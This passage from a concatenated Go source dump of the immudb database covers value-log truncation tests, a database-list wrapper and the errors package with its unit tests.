the database.", }, []string{"db"}, ).WithLabelValues(db) m.duration = promauto.With(reg).NewHistogramVec( prometheus.HistogramOpts{ Name: "immudb_truncation_duration_seconds", Help: "Duration of truncation runs", Buckets: prometheus.ExponentialBuckets(1, 10.0, 16), }, []string{"db"}, ).WithLabelValues(db) return m } ================================================ FILE: pkg/database/truncator_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "crypto/sha256" "fmt" "sort" "sync" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) func encodeOffset(offset int64, vLogID byte) int64 { return int64(vLogID)<<56 | offset } func decodeOffset(offset int64) (byte, int64) { return byte(offset >> 56), offset & ^(0xff << 55) } func Test_vlogCompactor_Compact(t *testing.T) { entries := []*store.TxEntry{} entries = append(entries, store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 12)), store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 2)), store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(2, 1)), store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 1)), store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(4, 2)), store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(1, 3)), store.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(1, 2)), ) sort.Slice(entries, func(i, j int) bool { v1, o1 := decodeOffset(entries[i].VOff()) v2, o2 := decodeOffset(entries[j].VOff()) if v1 == v2 { return o1 < o2 } return v1 < v2 }) v, off := decodeOffset(entries[0].VOff()) assert.Equal(t, v, byte(1)) assert.Equal(t, int(off), 2) v, off = decodeOffset(entries[len(entries)-1].VOff()) assert.Equal(t, v, byte(12)) assert.Equal(t, int(off), 3) } // Test multiple log with single writer func Test_vlogCompactor_WithMultipleIO(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 5 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) for i := 0; i < 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } deletePointTx := uint64(15) hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) for i := deletePointTx; i < 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) } } } // Test single log with single writer func Test_vlogCompactor_WithSingleIO(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) for i := 0; i < 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } deletePointTx := uint64(15) hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) for i := deletePointTx; i < 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) } } // ensure earlier transactions are deleted for i := uint64(5); i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) } } } // Test single log with concurrent writers func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) wg := sync.WaitGroup{} for i := 1; i <= 3; i++ { wg.Add(1) go func(j int) { defer wg.Done() for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", k)), Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } }(i) } wg.Wait() deletePointTx := uint64(15) hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) } } // ensure earlier transactions are deleted for i := uint64(5); i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) } } } func Test_newTruncatorMetrics(t *testing.T) { type args struct { db string } tests := []struct { name string args args }{ { name: "with default registerer", args: args{ db: "foo", }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { ti := time.Now() r := newTruncatorMetrics(tt.args.db) r.ran.Inc() r.duration.Observe(time.Since(ti).Seconds()) }) } } func Test_vlogCompactor_Plan(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) var queryTime time.Time for i := 2; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) if i == 10 { queryTime = time.Now() } } c := NewVlogTruncator(db, logger.NewMemoryLogger()) hdr, err := c.Plan(context.Background(), queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) } func setupCommonTest(t *testing.T) *db { rootPath := t.TempDir() options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(1024) options.storeOpts.VLogCacheSize = 0 options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db1", options) return db } func Test_vlogCompactor_with_sql(t *testing.T) { db := setupCommonTest(t) exec := func(t *testing.T, stmt string) { _, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt}) require.NoError(t, err) require.Len(t, ctx, 1) } query := func(t *testing.T, stmt string, expectedRows int) { rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) require.Len(t, rows, expectedRows) } // create a new table exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") exec(t, "CREATE UNIQUE INDEX ON table1 (name)") exec(t, "CREATE UNIQUE INDEX ON table1 (name, amount)") // insert some data var deleteUptoTx *schema.TxHeader for i := 1; i <= 5; i++ { var err error kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, 1024), } deleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } // alter table to add a new column t.Run("alter table and add data", func(t *testing.T) { exec(t, "ALTER TABLE table1 ADD COLUMN surname VARCHAR") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)") }) // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) }) t.Run("verify transaction committed post truncation has truncation header", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) truncatedTxId, err := hdr.Metadata.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, deleteUptoTx.Id, truncatedTxId) }) committedTxPostTruncation := make([]*schema.TxHeader, 0, 5) // add more data in table post truncation t.Run("succeed in adding data post truncation", func(t *testing.T) { // add sql data exec(t, "INSERT INTO table1(name, surname, amount) VALUES('John', 'Doe', 0)") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Smith', 'John', 0)") // add KV data for i := 6; i <= 10; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, 1024), } hdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) committedTxPostTruncation = append(committedTxPostTruncation, hdr) } }) // check if can query the table with new catalogue t.Run("succeed loading catalog from latest schema", func(t *testing.T) { query(t, "SELECT * FROM table1", 4) }) t.Run("succeed reading KV data post truncation", func(t *testing.T) { for _, v := range committedTxPostTruncation { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err := db.st.ReadTx(v.Id, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { val, err := db.st.ReadValue(e) require.NoError(t, err) require.NotNil(t, val) } } }) } func Test_vlogCompactor_without_data(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte("key1")}}}) require.Equal(t, uint64(1), db.st.LastCommittedTxID()) deletePointTx := uint64(1) hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) expectedCommitTx := uint64(2) // ensure that a transaction is added for the sql catalog commit require.Equal(t, expectedCommitTx, db.st.LastCommittedTxID()) // verify that the transaction added for the sql catalog commit has the truncation header hdr, err = db.st.ReadTxHeader(expectedCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) // verify using the ReadTx API that the transaction added for the sql catalog commit has the truncation header ptx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(expectedCommitTx, false, ptx) require.NoError(t, err) require.True(t, ptx.Header().Metadata.HasTruncatedTxID()) } func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { db := setupCommonTest(t) exec := func(t *testing.T, stmt string) { _, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt}) require.NoError(t, err) require.Len(t, ctx, 1) } query := func(t *testing.T, stmt string, expectedRows int) { rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) require.Len(t, rows, expectedRows) } verify := func(t *testing.T, txID uint64) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) truncatedTxId, err := hdr.Metadata.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, txID, truncatedTxId) } // create a new table exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") exec(t, "CREATE UNIQUE INDEX ON table1 (name)") exec(t, "CREATE UNIQUE INDEX ON table1 (name, amount)") exec(t, "ALTER TABLE table1 ADD COLUMN surname VARCHAR") t.Run("succeed truncating sql catalog", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) verify(t, hdr.ID) }) t.Run("succeed loading catalog from latest schema", func(t *testing.T) { query(t, "SELECT * FROM table1", 0) }) // insert some data var deleteUptoTx *schema.TxHeader for i := 1; i <= 5; i++ { var err error kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } deleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog again", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) verify(t, hdr.ID) }) t.Run("insert sql transaction", func(t *testing.T) { exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)") exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)") }) // check if can query the table with new catalogue t.Run("succeed loading catalog from latest schema", func(t *testing.T) { query(t, "SELECT * FROM table1", 2) }) } func Test_vlogCompactor_for_read_conflict(t *testing.T) { rootPath := t.TempDir() fileSize := 1024 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithFileSize(fileSize) options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) require.Equal(t, uint64(0), db.st.LastCommittedTxID()) for i := 1; i <= 10; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } once := sync.Once{} doneTruncateCh := make(chan bool) startWritesCh := make(chan bool) doneWritesCh := make(chan bool) go func() { for i := 11; i <= 40; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) once.Do(func() { close(startWritesCh) }) require.NoError(t, err) } close(doneWritesCh) }() go func() { <-startWritesCh deletePointTx := uint64(5) hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) close(doneTruncateCh) }() <-doneWritesCh <-doneTruncateCh } func Test_vlogCompactor_with_document_store(t *testing.T) { db := setupCommonTest(t) exec := func(t *testing.T, stmt string) { _, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt}) require.NoError(t, err) require.Len(t, ctx, 1) } query := func(t *testing.T, stmt string, expectedRows int) { rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) require.Len(t, rows, expectedRows) } verify := func(t *testing.T, txID uint64) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) truncatedTxId, err := hdr.Metadata.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, txID, truncatedTxId) } // create a new table exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") exec(t, "CREATE UNIQUE INDEX ON table1 (name)") // create new document store // create collection collectionName := "mycollection" _, err := db.CreateCollection(context.Background(), "admin", &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_DOUBLE}, }, Indexes: []*protomodel.Index{ {Fields: []string{"pincode"}}, }, }) require.NoError(t, err) t.Run("succeed truncating sql catalog", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) err = NewVlogTruncator(db, logger.NewMemoryLogger()).TruncateUptoTx(context.Background(), hdr.ID) require.NoError(t, err) // should add two extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) verify(t, hdr.ID) }) t.Run("succeed loading catalog from latest schema", func(t *testing.T) { query(t, "SELECT * FROM table1", 0) // get collection cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: collectionName, }) require.NoError(t, err) resp := cinfo.Collection require.Equal(t, 2, len(resp.Indexes)) require.Contains(t, resp.Indexes[0].Fields, "_id") require.Contains(t, resp.Indexes[1].Fields, "pincode") }) // insert some data for i := 1; i <= 5; i++ { var err error kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) res, err := db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: float64(i)}, }, }, }, }, }) require.NoError(t, err) require.NotNil(t, res) } // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog again", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) err = NewVlogTruncator(db, logger.NewMemoryLogger()).TruncateUptoTx(context.Background(), hdr.ID) require.NoError(t, err) // should add an extra transaction with catalogue require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) verify(t, hdr.ID) }) t.Run("adding new rows/documents should work", func(t *testing.T) { exec(t, "INSERT INTO table1(name, amount) VALUES('Foo', 0)") exec(t, "INSERT INTO table1(name, amount) VALUES('Fin', 0)") res, err := db.InsertDocuments(context.Background(), "admin", &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 999}, }, }, }, }, }) require.NoError(t, err) require.NotNil(t, res) }) // check if can query the table with new catalogue t.Run("succeed loading catalog from latest schema should work", func(t *testing.T) { query(t, "SELECT * FROM table1", 2) cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: collectionName, }) require.NoError(t, err) resp := cinfo.Collection require.Equal(t, 2, len(resp.Indexes)) require.Contains(t, resp.Indexes[0].Fields, "_id") require.Contains(t, resp.Indexes[1].Fields, "pincode") }) } ================================================ FILE: pkg/database/types.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import "context" // DatabaseList interface type DatabaseList interface { Put(name string, opts *Options) DB PutClosed(name string, opts *Options) DB Delete(string) (DB, error) GetByIndex(index int) (DB, error) GetByName(string) (DB, error) GetId(dbname string) int Length() int Resize(n int) CloseAll(ctx context.Context) error } type databaseList struct { m *DBManager } // NewDatabaseList constructs a new database list func NewDatabaseList(m *DBManager) DatabaseList { return &databaseList{ m: m, } } func (d *databaseList) Put(dbName string, opts *Options) DB { return d.put(dbName, opts, false) } func (d *databaseList) PutClosed(dbName string, opts *Options) DB { return d.put(dbName, opts, true) } func (d *databaseList) put(dbName string, opts *Options, closed bool) DB { var newOpts Options = *opts idx := d.m.Put(dbName, &newOpts, closed) return &lazyDB{ m: d.m, idx: idx, } } func (d *databaseList) Delete(dbname string) (DB, error) { if err := d.m.Delete(dbname); err != nil { return nil, err } idx := d.m.GetIndexByName(dbname) return &lazyDB{m: d.m, idx: idx}, nil } func (d *databaseList) GetByIndex(index int) (DB, error) { if !d.m.HasIndex(index) { return nil, ErrDatabaseNotExists } return &lazyDB{m: d.m, idx: index}, nil } func (d *databaseList) GetByName(dbname string) (DB, error) { idx := d.m.GetIndexByName(dbname) if idx < 0 { return nil, ErrDatabaseNotExists } return &lazyDB{m: d.m, idx: idx}, nil } func (d *databaseList) Length() int { return d.m.Length() } // GetById returns the database id number. -1 if database is not present func (d *databaseList) GetId(dbname string) int { return d.m.GetIndexByName(dbname) } func (d *databaseList) CloseAll(ctx context.Context) error { return d.m.CloseAll(ctx) } func (d *databaseList) Resize(n int) { d.m.Resize(n) } ================================================ FILE: pkg/errors/error.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "runtime/debug" ) // On server side errors need to be returned using following interface. // // An error can be created with: // // errors.New // errors.Wrap // // if read == 0 && err == io.EOF { // return errors.New(ErrReaderIsEmpty).WithCode(errors.CodInvalidParameterValue) // } // // or // // u, err := s.getValidatedUser(r.user, r.Password) // if err != nil { // return nil, errors.Wrap(err, "invalid user name or password").WithCode(errors.CodSqlserverRejectedEstablishmentOfSqlconnection) // } // // If the error is registered inside an init function like it's possible to skip the inline code definition. // // func init() { // ... // errors.CodeMap[ErrMaxValueLenExceeded] = errors.CodDataException // ... // } // // Errors are converted in the transportation in gRPC status. When adding a new error code it's required to add an entry in gRPC error map. See map.go // // func mapGRPcErrorCode(code Code) codes.Code // In order to avoid dependency between client and server package SDK contains proper error codes definitions, like server. // // Both SDK ImmuError and server Error can be compared with errors.Is utility. // type Error interface { Error() string Message() string Cause() error Code() Code RetryDelay() int32 Stack() string } func New(message string) *immuError { c, ok := CodeMap[message] if !ok { c = CodInternalError } e := &immuError{ code: c, msg: message, stack: string(debug.Stack()), } return e } type immuError struct { code Code msg string stack string retryDelay int32 } func (f *immuError) Error() string { return f.msg } func (f *immuError) Message() string { return f.msg } func (f *immuError) Cause() error { return f } func (f *immuError) Code() Code { return f.code } func (f *immuError) RetryDelay() int32 { return f.retryDelay } func (f *immuError) Stack() string { return f.stack } func (e *immuError) WithCode(code Code) *immuError { e.code = code return e } func (e *immuError) WithRetryDelay(delay int32) *immuError { e.retryDelay = delay return e } func (e *immuError) Is(target error) bool { switch t := target.(type) { case *immuError: return compare(e, t) case *wrappedError: return compare(e, t) default: return e.Cause().Error() == target.Error() } } func compare(e Error, t Error) bool { if e.Code() != CodInternalError || t.Code() != CodInternalError { return e.Code() == t.Code() } return e.Message() == t.Message() && e.Cause().Error() == t.Cause().Error() } ================================================ FILE: pkg/errors/errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors_test import ( stdErrors "errors" "fmt" "testing" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/server" "github.com/stretchr/testify/require" ) func Test_Immuerror(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause) require.Error(t, err) require.Equal(t, err.Error(), cause) require.Equal(t, err.Message(), cause) require.Equal(t, err.Code(), errors.CodInternalError) require.ErrorIs(t, err, err.Cause()) require.Equal(t, err.RetryDelay(), int32(0)) require.NotNil(t, err.Stack()) } func Test_WrappingError(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "std error" err := errors.New(cause) wrappedMessage := "this is the message I want to show" wrappedError := errors.Wrap(err, wrappedMessage) wrappedNilError := errors.Wrap(nil, "msg") require.Nil(t, wrappedNilError) require.Error(t, wrappedError) require.Equal(t, wrappedError.Error(), fmt.Sprintf("%s: %s", wrappedMessage, cause)) require.Equal(t, wrappedError.Message(), wrappedMessage) require.Equal(t, wrappedError.Code(), errors.CodInternalError) require.Equal(t, wrappedError.RetryDelay(), int32(0)) require.NotNil(t, wrappedError.Stack()) } func Test_WrappingImmuerror(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause) wrappedMessage := "this is the message I want to show" wrappedError := errors.Wrap(err, wrappedMessage) require.Error(t, wrappedError) require.Equal(t, wrappedError.Error(), fmt.Sprintf("%s: %s", wrappedMessage, cause)) require.Equal(t, wrappedError.Message(), wrappedMessage) require.Equal(t, wrappedError.Code(), errors.CodInternalError) require.Equal(t, wrappedError.Cause(), err) require.Equal(t, wrappedError.RetryDelay(), int32(0)) require.NotNil(t, wrappedError.Stack()) } func Test_ImmuerrorIs(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "cause error" err := errors.New(cause).WithCode(errors.CodInternalError) wrappedMessage := "this is the message I want to show" wrappedError := errors.Wrap(err, wrappedMessage) err2 := errors.New(cause).WithCode(errors.CodInternalError) wrappedError2 := errors.Wrap(err2, wrappedMessage) errStd := errors.New("stdError") require.True(t, stdErrors.Is(wrappedError, wrappedError2)) require.False(t, stdErrors.Is(wrappedError, err2)) require.False(t, stdErrors.Is(wrappedError, err)) require.False(t, stdErrors.Is(wrappedError, errStd)) require.False(t, stdErrors.Is(errStd, wrappedError)) } func Test_CauseComparisonWrappedError(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "std error" err := errors.New(cause) wrappedMessage := "this is the message I want to show" wrappedWrappedMessage := "change idea" wrappedError := errors.Wrap(err, wrappedMessage).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection).WithRetryDelay(123) wrappedWrappedError := errors.Wrap(wrappedError, wrappedWrappedMessage).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection) immuError := errors.New("immu error") immuErrorWithCode := errors.New("immu error").WithCode(errors.CodSqlclientUnableToEstablishSqlConnection) require.True(t, stdErrors.Is(wrappedError.Cause(), err)) require.True(t, stdErrors.Is(wrappedError, wrappedWrappedError)) require.False(t, stdErrors.Is(wrappedError, immuError)) require.True(t, stdErrors.Is(wrappedWrappedError, immuErrorWithCode)) } func Test_CauseComparisonError(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") cause := "std error" err := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection) err2 := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection).WithRetryDelay(123) wrappedError := errors.Wrap(err2, "msg").WithCode(errors.CodSqlclientUnableToEstablishSqlConnection) err3 := errors.New(cause).WithCode(errors.CodSqlclientUnableToEstablishSqlConnection).WithRetryDelay(321) require.True(t, stdErrors.Is(err2.Cause(), err)) require.True(t, stdErrors.Is(err2, err)) require.True(t, stdErrors.Is(err2, wrappedError)) require.True(t, stdErrors.Is(err2, err)) require.True(t, stdErrors.Is(err2, err3)) } func 